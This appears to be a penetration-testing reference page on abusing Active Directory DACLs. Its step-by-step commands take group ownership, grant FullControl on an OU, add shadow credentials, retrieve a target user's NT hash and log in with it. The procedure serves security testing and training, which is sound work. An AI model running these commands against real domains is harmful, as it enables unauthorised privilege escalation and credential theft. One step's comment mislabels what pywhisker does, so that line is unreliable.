DACL (Discretionary Access Control List) Attack
Last modified: 2025-03-17
DACL is a list of the trustees that are allowed or denied access to objects in Active Directory.
Set Ownership of Group
Using BloodyAD, we can set the user as the owner of a group.
# Install if it does not exist on your machine.
pipx install bloodyAD
bloodyAD --host dc.example.local -d example.local -u <username> -p <password> set owner <group-name> <username>
Add Rights
We may be able to take a full control of securable objects by getting GenericAll permission on OU (Organizational Unit).
1. Ask TGT for Kerberos Authentication
If we want to use Kerberos authentication for attacking DACL, we need to retrieve a TGT for specific user at first. In addition, to avoid authentication error, we need to synchronize the system time with the domain controller using ntpdate or rdate.
# Sync datetime with target system
sudo ntpdate <target-ip>
# or
sudo rdate -n <target-ip>
impacket-getTGT -dc-ip <target-ip> example.local/username:password
The getTGT above dumps a .ccache file which stores TGT.
After dumping the .ccache file, set it to an environment variable for using the later processing.
export KRB5CCNAME=username.ccache
2. Read DACL
We can use dacledit of impackets.
To use dacledit, we need to clone the repository and install dependencies as below:
git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m venv .venv
source .venv/bin/activate
pip3 install impacket
pip3 install -r requirements.txt
python3 examples/dacledit.py --help
Then run the following command:
python3 examples/dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
python3 examples/dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password -use-ldaps -k
3. Write DACL
python3 examples/dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
python3 examples/dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
Abuse
After adding rights, we can abuse it with various methods.
Method 1. Add User to Group → Get TGT → Get NT Hash
# 1. Add user to a specific group
bloodyAD --host <target-ip> -u <username> -p <password> add groupMember <group> <username>
# 2. Add the target user to a privileged group
python3 pywhisker.py -d example.local -u <username> -p <password> --target <target-username> --action add
# 3. Obtain a Kerberos TGT using PKINIT authentication with a PFX certificate
python3 gettgtpkinit.py example.local/<target-username> -cert-pfx <pfx-filepath> -pfx-pass <pfx-password> ./example.ccache
export KRB5CCNAME=./example.ccache
# 4. Retrieve the NT hash of the target user using the obtained Kerberos ticket
python3 getnthash.py example.local/<target-username> -key <key>
# 5. Login with the retrieved NT hash
evil-winrm -i <target-ip> -u <target-username> -H <nt-hash>